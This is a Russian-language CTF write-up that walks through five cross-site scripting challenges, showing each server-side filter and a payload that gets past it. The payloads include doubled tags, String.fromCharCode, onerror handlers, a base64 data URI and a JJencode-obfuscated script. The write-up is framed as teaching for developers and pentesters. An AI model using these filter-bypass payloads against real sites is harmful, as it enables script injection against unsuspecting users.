Cross Site Scripting. Несколько методов обхода Web Application Firewall на примере одного CTF

15.11.2017

Казалось, об XSS уже рассказано очень многое и очень многими, но до сих пор подобного рода атаки актуальны и злоумышленники используют их для своих целей. В большей степени это возможно из-за ошибок разработчиков при написании алгоритмов фильтрации входящих данных, а также из-за невнимательности аудиторов, которые не уделяют должного внимания при аудитах WEB сайтов.

Рассмотрим на практике методы обхода ошибочных фильтров на примере заданий одного CTF в котором мне довелось поучаствовать.

Само задание выглядит следующим образом:

Правильным решением должно стать вызов предупреждения alert(‘XSS’) именно так, и никак иначе. Так как это CTF, то исходный код алгоритма фильтрации предоставлен по ссылке, поэтому при решении каждого задания сразу видно и понятно, что именно фильтруется, что запрещено, а что разрешено.

Ну что ж, пойдем по порядку.

Первое задание.

GET запрос с передачей значений параметру name. Ну и взглянем, что же нам запрещено, что фильтруется:

@app.route('/xss1')
def xss1():
    msg = request.args.get('name','')
    msg = re.sub(r"""<[a-z/]""", "", msg, flags=re.IGNORECASE) # Remove HTML tags, i.e. everything starts with < followed by a-z or /
    msg = re.sub(r"""["']XSS["']""", "", msg, flags=re.IGNORECASE) # Remove the string "XSS" to make it a bit harder
    data = "Hello %s" % msg
    data += check_xss(data,flags[0])
    return data

Что ж, как видно из кода фильтра, из входящей строки фильтром вырезается символ < с любой, следующей за ним буквой или символом /, а также последовательность XSS. Передадим параметру name стандартный <script>alert('XSS')</script> и посмотрим как это будет выглядеть.

Заменим нашу строку на <<sscript>alert(1)<<//script> и посмотрим на результат.

Скрипт сработал, но, как мы помним нам необходим текст XSS, а он вырезается фильтром. Воспользуемся функцией String.fromCharCode(), которая возвращает сроку из переданной ей последовательности Unicode кодов символов. Наша строка теперь будет выглядеть следующим образом:

<<sscript>alert(String.fromCharCode(88,83,83))<<//script>

Передаем эту строку параметру name, и, получен необходимый результат, и есть первый флаг 🙂

Второе задание.

Вновь GET запрос и конструкция <img src.

Взглянем на фильтр:

@app.route('/xss2')
def xss2():
    msg = request.args.get('name','')
    blacklist = ['<', '>', '(',')']
    for word in blacklist:
        if word in msg.lower():
            return "Sorry you can't use %s" % word
    data = "<img src='%s'>" % msg
    data += check_xss(data,flags[1])
    response = make_response(data)
    response.headers["X-XSS-Protection"] = "0"
    return response

Запрещены символы < > ( ). Что ж, это не беда. Воспользуемся обработчиком ошибок onerror, для этого нам не нужны ни скобки, ни символы < >. Переданная параметру name строка будет выглядеть так:

'onerror="javascript:window.onerror=alert;throw 'XSS'"

И, есть второй флаг:

Третье задание.

Передача текстового параметра name в HTML форму.

А вот как выглядит фильтр для этого задания:

@app.route('/xss3')
def xss3():
    msg = request.args.get('name','')
    blacklist = ['script', 'on', 'style','(',')',"'"]
    for word in blacklist:
        if word in msg.lower():
            return "Sorry you can't use %s" % word
    data = """<form><input type=text name=name value="Hello %s"></form>""" % msg
    data += check_xss(data,flags[2])
    response = make_response(data)
    response.headers["X-XSS-Protection"] = "0"
    return response

В этом задании запрещены последовательности script, on, style, кроме того открывающиеся и закрывающиеся круглые скобки (,) и одинарная кавычка .

Первым делом закроем тег с помощью конструкции “>. Вот как это выглядит:

Помним, что нам запрещено использовать script, on, style. Воспользуемся тегом <object а в качестве данных передадим строку <script>alert(‘XSS’)</script> в кодировке Base64, после кодирования эта строка будет выглядеть так:

PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

И, соответственно, значение, которое мы передадим параметру name примет вот такой вид:

"><object+data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="></object>

Посмотрим результат:

Есть третий флаг, переходим к следующему заданию.

Четвертое задание.

POST форма, причем параметр передается в готовый тег <script>. Казалось бы, вообще легко, но посмотрим, какой вид имеет фильтр.

@app.route('/xss4',methods=['GET', 'POST'])
def xss4():
    msg = request.form.get('name','')
    blacklist = string.lowercase + string.uppercase + string.digits + '<>'
    for word in blacklist:
        if word in msg:
            return "Sorry you can't use %s" % word
    data = "<form method=post><textarea name=name cols=50 rows=20></textarea><br><input type=submit></form>"
    data += """<script>name = "%s"; document.write('Hello '+name);</script>""" % msg
    data += check_xss(data,flags[3])
    response = make_response(data)
    response.headers["X-XSS-Protection"] = "0"
    return response

Да уж, запрещены все буквы алфавита, цифры и символы < и >. Тем не менее, данные передадутся в уже готовую конструкцию <script></script>. Это важно, и в этом случае есть решение обойти такой фильтр.

Еще в 2009 году Yosuke HASEGAWA привел пример обфускации JavaScript кода, в результате которой, код представлял из себя набор символов без использования букв. Воспользуемся и мы этим методом. В сети есть множество онлайн кодеров кода, для примера можно использовать тот, который расположен на сайте автора:

http://utf-8.jp/public/jjencode.html

Закодируем с помощью него конструкцию alert(‘XSS’), получится вот такой набор символов:

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"('\\"+$.__$+$._$$+$.___+"\\"+$.__$+$._$_+$._$$+"\\"+$.__$+$._$_+$._$$+"')"+"\"")())();

Как видим, буквы, цифры и символы < > отсутствуют, именно то, что нам по условиям фильтра и надо.

Но, чтобы наш код сработал, необходимо выйти за пределы кавычек параметра name и отделить оператор двоеточием, поэтому перед кодом добавим “; а после кода добавим кавычки . Полный код, который мы вставим в поле отправки формы, будет выглядеть так:

";$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"('\\"+$.__$+$._$$+$.___+"\\"+$.__$+$._$_+$._$$+"\\"+$.__$+$._$_+$._$$+"')"+"\"")())();"

Отправляем, и смотрим результат:

Код сработал, жмем ОК на окошке, и:

Отлично, есть четвертый флаг!

Пятое задание.

Как и в предыдущем задании, данные передадутся в уже готовую конструкцию <script></script>, но уже в GET запросе, и тут использовать предыдущий метод не получится, ввиду ограничения на количество символов в URL. Ну и взглянем на фильтр.

@app.route('/xss5')
def xss5():
    msg = request.args.get('name','')
    blacklist = "<>'" + string.uppercase
    for word in blacklist:
        if word in msg:
            return "Sorry you can't use %s" % word
    msg = msg.replace('"',r'\"')
    data = """<script>name = "%s"; document.write('Hello '+name);</script>""" % msg
    data += check_xss(data,flags[4])
    response = make_response(data)
    response.headers["X-XSS-Protection"] = "0"
    return response

Запрещены прописные буквы (большие), символы < > и ' Кроме того, экранируются кавычки, то есть " заменяется на последовательность \"

Чтобы выйти за пределы кавычек, и отделить оператор, вначале данных добавим \"; а в конце //

Так как запрещены прописные буквы, одинарные кавычки и экранируются двойные, то воспользуемся методом String.fromCharCode(), при этом прописные буквы S и C заменим их значениями в UTF кодировке \u0053 и \u0043 соответственно.

А сам код у нас будет выглядеть следующим образом:

\";alert(\u0053tring.from\u0043har\u0043ode(88,83,83))//

Передаем этот код параметру name:

Есть последний флаг, и все задания решены.

Надеюсь, данные примеры помогут как разработчикам, так и пентестерам, при проверке правильности фильтрации входных данных.

©2017 Дмитрий Дмитриенко. Агентство Активного Аудита.

Поделится:

С этой статьей также читают: